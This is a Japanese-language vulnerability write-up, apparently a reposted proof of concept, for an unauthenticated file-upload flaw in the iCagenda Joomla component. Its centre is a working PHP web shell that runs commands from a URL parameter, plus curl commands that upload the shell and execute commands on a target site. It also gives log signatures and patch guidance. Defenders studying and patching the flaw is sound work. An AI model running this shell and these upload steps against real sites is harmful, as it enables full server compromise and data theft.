CVE-2026-48939 - iCagenda の認証なしファイルアップロードによる RCE

概要

脆弱性の説明

iCagenda は Joomla 用の人気のイベント・カレンダーコンポーネントです。認証なしのファイルアップロード脆弱性が存在し、リモート攻撃者が Joomla 6 サイト上で任意の PHP コードをアップロード・実行できるようになります。

技術的詳細

脆弱性は、フロントエンドのイベント送信フォームにあるファイル添付機能に存在します。

1. アクセス制御の欠如: 送信エンドポイント（index.php?option=com_icagenda&task=registration.submit）は認証を強制しておらず、「登録ユーザーのみ」のアクセス設定をバイパスします。

2. ファイル検証の欠如: アップロードされたファイルは元の拡張子のままで保存され、以下の検証が行われません。

   • 拡張子の許可リスト検証
   • MIME タイプの確認
   • ファイル内容の検査

3. 直接ファイル書き込み: ファイルは Web ルート直下の /images/icagenda/frontend/attachments/[ファイル名] に書き込まれます。

4. PHP 実行: Joomla 6 では、アップロードされた .php ファイルが実行可能となり、リモートコード実行 (RCE) に至ります。

概念実証 (PoC)

方法 1: curl を使用 (単一コマンド)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

方法 2: PoC スクリプトを使用

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

悪用手順

1. 脆弱なエンドポイントの特定:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. PHP Web シェルのアップロード:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. シェルの実行:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

影響

• 機密性: 機密性の完全な喪失 – 攻撃者はすべてのファイルを読み取ることが可能
• 整合性: 整合性の完全な喪失 – 攻撃者はすべてのデータを改ざん可能
• 可用性: 可用性の完全な喪失 – 攻撃者はサービスを拒否可能
• リモートコード実行: サーバーの完全な侵害

攻撃シグネチャ

実際の悪用ログに基づく攻撃シグネチャは以下の通りです。

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

修復方法

1. 即時対応: iCagenda をバージョン 4.0.8（レガシーブランチの場合は 3.9.15）に更新する
2. 代替策: com_icagenda フォルダを一時的に削除またはリネームする
3. 注意: コンポーネントの公開を停止しても、この脆弱性からは保護されません

参考文献

• iCagenda ゼロデイ RCE - mysites.guru
• iCagenda 公式サイト
• 4.0.8 の変更ログ
• CISA ADP 勧告

免責事項

この PoC は教育目的および許可されたセキュリティテスト目的のみに提供されます。許可なくコンピュータシステムにアクセスすることは違法です。